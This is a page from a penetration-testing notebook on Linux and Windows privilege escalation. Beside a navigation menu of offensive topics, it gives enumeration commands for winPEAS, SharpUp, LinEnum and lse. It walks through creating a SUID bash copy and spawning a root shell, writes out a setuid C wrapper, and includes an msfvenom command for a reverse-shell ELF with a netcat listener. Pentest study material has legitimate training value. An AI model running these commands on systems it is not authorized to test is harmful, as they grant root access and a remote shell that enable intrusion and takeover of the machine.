🤯
Hacker Mind
  • Penetration Testing Notes
    • 00 - Kali Linux Preparation
    • Page 1
    • Web Application (80/443)
      • XSS
      • LFI / Path Traversal
      • Wordpress
    • SMB (445)
    • LDAP
    • MSRPC (135)
    • MSSQL
    • Kerberos (88/tcp)
    • DNS (53)
    • IPv6
    • Import Nessus to Metasploit
  • STUCK? Look at this :D
  • Buffer Overflow
    • WinDbg
    • BoF Script Python
  • Active Directory Recon
    • Username Generation
    • PowerView
    • BloodHound
    • Flooding Attack
  • Payload
    • Sendemail
    • Phishing Payload
    • Bypass All The Things
      • AppLocker
      • MSBuild Shell
      • C# Runner
      • Payload Mod
      • Powershell
      • Bypass AV Linux
        • C Runner
  • Exploit
    • Brute Force
    • File Upload
    • Cracking
    • Shell & Stabilization
    • Database
    • MSSQL Injection
  • Tradecraft
    • Invoke-ReflectivePEInjection
  • Metasploit
    • Meterpreter Tricks
  • Privilege Escalation
    • Lateral Movement
    • Linux
    • Windows
  • Post Exploit
    • Active Directory
      • Kerberos
      • ACLs/ACEs
      • DCSync
      • Golden Ticket with krbtgt
      • LAPS
      • Page
      • Impersonate Token
    • Pivoting
      • Pivot in a Case
    • Transfer File
    • Exfiltration
    • Persistence
  • WiFi Pentesting
    • WPA-PSK
    • WPA-E (hostapd)
    • Attack WEP
    • Evil Twin - Wi-Fi
    • WPA3 Downgrade
  • Hardware Hacking
    • Information Gathering
  • Practice & Lab
Powered by GitBook
On this page
  • Windows
  • Linux
  • Spawning Root Shell

Privilege Escalation

PreviousMeterpreter TricksNextLateral Movement

Last updated 8 months ago

Windows

./winPEASany.exe quite serviceinfo
./SharpUp.exe 

Linux

linEnum.sh -->

lse.sh -->

before run, set History Terminal to line = 5000

then just execute linEnum and review it carefully.

Spawning Root Shell

  • rootbash -> SUID

cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash

spawn the root shell

/tmp/rootbash -p
  • Custom Executable

If some root process executes another process which you can control (modified or put your binary file)

int main() {
    setuid(0);
    system("/bin/bash -p");
}

compile using:

gcc -o <name> <file.c>
  • msfvenom (reverse shell)

generate elf file using msfvenom

msfvenom -p linux/x86/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f elf > shell.elf

listening on the attacking machine:

nc -lvnp <port>

  • Native Reverse Shells

Use this tool to generate reverse shell in any language:

Will be update soon

https://github.com/rebootuser/LinEnum
https://github.com/diego-treitos/linux-smart-enumeration
https://github.com/mthbernardes/rsg